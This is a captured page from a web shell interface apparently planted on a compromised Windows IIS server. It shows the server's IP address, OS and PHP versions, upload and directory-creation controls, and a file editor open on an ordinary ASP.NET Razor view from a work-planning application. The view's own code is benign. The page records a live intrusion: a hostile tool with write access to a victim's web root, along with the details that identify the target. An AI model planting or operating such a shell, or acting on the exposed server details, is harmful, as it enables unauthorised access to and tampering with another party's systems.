Mr.Combet Webshell
Your IP :
216.73.216.136
Server IP :
103.233.58.157
Server :
Windows NT WIN-4PGF72KEHKB 10.0 build 17763 (Windows Server 2016) AMD64
Server Software :
Microsoft-IIS/10.0
PHP Version :
7.3.25
Add File :
Submit
Add Directory :
Submit
Dir :
C:
/
inetpub
/
wwwroot
/
mapqa_bak
/
mapqa
/
Views
/
WorkPlan
/
Edit File Name :
CreateLevelTwo.cshtml
@model RER_Project.DataAccess.ViewModels.WorkPlan.WorkPlanViewModel <style> .months-form-group .col-md-1 { padding-right: 0 } .amount-form-group .col-md-1 { padding-right: 0px; } .btn { border-radius: 0px; } .planning { padding: 0px; } </style> <div class="row wrapper border-bottom white-bg page-heading"> <div class="col-md-8"> <ol class="breadcrumb"> <li class="active"> <strong>Create WorkPlan For Level 2</strong> </li> </ol> </div> </div> <div class="wrapper wrapper-content animated fadeInRight"> <div class="row"> <div class="col-lg-12"> <div class="ibox float-e-margins"> <div class="ibox-content"> <div class="pull-right"> @*<h3> <input type="hidden" id="FiscalYearId" name="FiscalYearId" value="@Model.FiscalYearId" /> <input type="hidden" id="FiscalYear" name="FiscalYear" value="@Model.FiscalYear" /> <input type="hidden" id="WorkPlanId" name="WorkPlanId" value="@Model.WorkPlanId" />Fiscal Year: @Model.FiscalYear </h3>*@ </div> <hr /> <form id="CreateAnnualActivityPlanning"> <div id="eror_msg"></div> <div class="row"> <div class="form-group col-md-4"> <label>Activity</label> <select type="text" class="form-control required clear" id="ActivityId" name="ActivityId" data-api="/activity/select"></select> </div> <div class="form-group col-md-4"> <label>Month</label> <select type="text" class="form-control required clear" id="MonthName" name="MonthName" data-api="/month/select"></select> </div> <div class="form-group col-md-4"> <label>Quantity Planned</label> <input type="number" id="QuantityPlanned" name="QuantityPlanned" class="form-control clear" /> </div> </div> <div class="row"> <div class="form-group col-md-4"> <label>Priority Activity 1</label> <input type="text" id="PriorityActivityOne" name="PriorityActivityOne" class="form-control clear" /> </div> <div class="form-group col-md-4"> <label>Support Needed from</label> <select class="form-control required clear" name="PriorityActivityOneSupport" id="PriorityActivityOneSupport" data-api="/user-level-two/select"></select> </div> </div> <div class="row"> <div class="form-group col-md-4"> <label>Priority Activity 2</label> <input type="text" id="PriorityActivityTwo" name="PriorityActivityTwo" class="form-control clear" /> </div> <div class="form-group col-md-4"> <label>Support Needed from</label> <select class="form-control required clear" name="PriorityActivityTwoSupport" id="PriorityActivityTwoSupport" data-api="/user-level-two/select"></select> </div> </div> <div class="row"> <div class="form-group col-md-4"> <label>Priority Activity 3</label> <input type="text" id="PriorityActivityThree" name="PriorityActivityThree" class="form-control clear" /> </div> <div class="form-group col-md-4"> <label>Support Needed from</label> <select class="form-control required clear" name="PriorityActivityThreeSupport" id="PriorityActivityThreeSupport" data-api="/user-level-two/select"></select> </div> </div> <div class="row"> <div class="form-group col-md-1"> <a onclick="addPlanningQty()" class="btn btn-sm btn-primary">Add</a> </div> </div> <div class="row"> <div class="table-responsive" style="margin-top:16px;"> <table class="footable table table-hover" id="AnnualActivityPlaningTable"> <thead> <tr> <th>Activity</th> <th>Month</th> <th>Quantity Planned</th> <th>Priority Activity 1</th> <th>Support Needed from</th> <th>Priority Activity 2</th> <th>Support Needed from</th> <th>Priority Activity 3</th> <th>Support Needed from</th> <th>Action</th> </tr> </thead> <tbody> @*@foreach (var item in Model.WorkPlanLevelOneViewsList) { <tr> <td>@item.Component<input type=hidden name='ComponentId' value="@item.ComponentId" /></td> <td>@item.SubComponent<input type=hidden name='SubComponentId' value="@item.SubComponentId" /></td> <td>@item.ActivityCategory<input type=hidden name='ActivityCategoryId' value="@item.ActivityCategoryId" /></td> <td> @item.Activity <input type=hidden name='ActivityId' id="ActivityId" value="@item.ActivityId" /> </td> <td> @item.UnitName <input type=hidden name='PlanningUnitId' value="@item.UnitId"> </td> <td>@item.PlannedBudget</td> <td>@item.FirstQuadQuantity</td> <td>@item.SecondQuadQuantity</td> <td>@item.ThirdQuadQuantity</td> <td>@item.UserName<input type=hidden name='AssignedTo' value="@item.AssignedTo" /></td> <td> <a onclick="deleteRow(this)" class="btn btn-default btn-xs" title="Delete"><i class="fa fa-remove" style='color: red;'></i></a> </td> </tr> }*@ </tbody> </table> </div> </div> <div class="row"> <div class="pull-right"> <input type="button" value="Save" class="btn btn-primary" id="SubmitButton" /> <a href="/country-planning/annual" class="btn btn-default">Back</a> </div> </div> </form> </div> </div> </div> </div> </div> <script type="text/javascript"> $(document).ready(function () { window.initializeSelectApis(); window.initializeCascadeComponent(); calcSub(); }) var fiscalyear = $("#FiscalYearId").val(); var workplanId = $("#WorkPlanId").val(); var fyname = $("#FiscalYear").val(); var projectId = $("#ProjectId").val(); function checkIfExist(activity, unit, el) { var exists = false; el.find("tr").each(function () { var activityId = $(this).find("input[name='ActivityId']").val(); var unitId = $(this).find("input[name='Unit']").val(); var activitydropdownTypeId = activity.val(); var unitdropdownId = unit.val(); if (activityId === activitydropdownTypeId && unitId === unitdropdownId) { exists = true; return; } }); return exists; } function addPlanningQty() { const form = $("#CreateAnnualActivityPlanning"); var table = $('#AnnualActivityPlaningTable tbody'); const activity = $("#ActivityId option:selected"); const monthName = $("#MonthName option:selected"); const priorityActivityOneSupport = $("#PriorityActivityOneSupport option:selected"); const priorityActivityTwoSupport = $("#PriorityActivityTwoSupport option:selected"); const priorityActivityThreeSupport = $("#PriorityActivityThreeSupport option:selected"); $.validator.unobtrusive.parse(form); if (!form.valid()) { return false; } //if (checkIfExist(activity, activityCategory, subComponent, component, table)) { // ShowMessage("error", "The selected activity already exists."); // return false; //}; const model = window.serializeForm(form); var row = "<tr>"; row += "<td>" + activity.text() + "<input type=hidden name='ActivityId' value=" + activity.val() + "></td>"; row += "<td>" + monthName.text() + "<input type=hidden name='MonthName' value=" + monthName.val() + "></td>"; row += "<td>" + model.QuantityPlanned + "</td>"; row += "<td>" + model.PriorityActivityOne + "</td>"; row += "<td>" + priorityActivityOneSupport.text() + "<input type=hidden name='PriorityActivityOneSupport' value=" + priorityActivityOneSupport.val() + "></td>"; row += "<td>" + model.PriorityActivityTwo + "</td>"; row += "<td>" + priorityActivityTwoSupport.text() + "<input type=hidden name='PriorityActivityTwoSupport' value=" + priorityActivityTwoSupport.val() + "></td>"; row += "<td>" + model.PriorityActivityThree + "</td>"; row += "<td>" + priorityActivityThreeSupport.text() + "<input type=hidden name='PriorityActivityThreeSupport' value=" + priorityActivityThreeSupport.val() + "></td>"; row += "<td><a class='btn btn-default btn-xs' onclick='deleteRow(this)' title='Delete'><i class='fa fa-remove' style='color: red;'></i></a></td>" table.append(row); clearAll(); } function deleteRow(e) { $(e).closest("tr").remove(); }; function clearAll() { $('.clear').val(''); } function annualActivityPlanningList() { var annualActivityPlanninglist = []; $("#AnnualActivityPlaningTable tbody tr").each(function () { debugger; const componentId = $(this).find("td:eq(0)").find("input[type='hidden']").val(); const subcomponentId = $(this).find("td:eq(1)").find("input[type='hidden']").val(); const activitycategoryId = $(this).find("td:eq(2)").find("input[type='hidden']").val(); const activityId = $(this).find("td:eq(3)").find("input[type='hidden']").val(); const unit = $(this).find("td:eq(4)").find("input[type='hidden']").val(); const plannedBudget = $(this).find("td:eq(5)").text(); const first = $(this).find("td:eq(6)").find("input[type='text']").val(); const second = $(this).find("td:eq(7)").find("input[type='text']").val(); const third = $(this).find("td:eq(8)").find("input[type='text']").val(); const assigned = $(this).find("td:eq(9)").find("input[type='hidden']").val(); debugger annualActivityPlanninglist.push({ ComponentId: componentId, SubComponentId: subcomponentId, ActivityCategoryId: activitycategoryId, ActivityId: activityId, PlannedBudget: plannedBudget, FirstQuadQuantity: first, SecondQuadQuantity: second, ThirdQuadQuantity: third, FiscalYearId: fiscalyear, UnitId: unit, AssignedTo: assigned, WorkPlanId: workplanId }); }); return annualActivityPlanninglist; } $("#SubmitButton").off("click").on("click", function () { function request(model) { const url = "/workplan/create"; const data = JSON.stringify(model); return window.getAjaxRequest(url, "POST", data); } if (!window.confirmAction()) { return; }; debugger; WorkForce.loader.show(); function getModel() { return ({ WorkPlanLevelOnes: annualActivityPlanningList(), FiscalYearId: fiscalyear, FiscalYear: fyname }); }; const model = getModel(); const ajax = request(model); ajax.done(function (response) { WorkForce.loader.hide(); showNotification("success"); window.location = "/workplan"; }); ajax.fail(function (xhr) { WorkForce.loader.hide(); ShowMessage("error", xhr.responseText); }); }); </script>
Save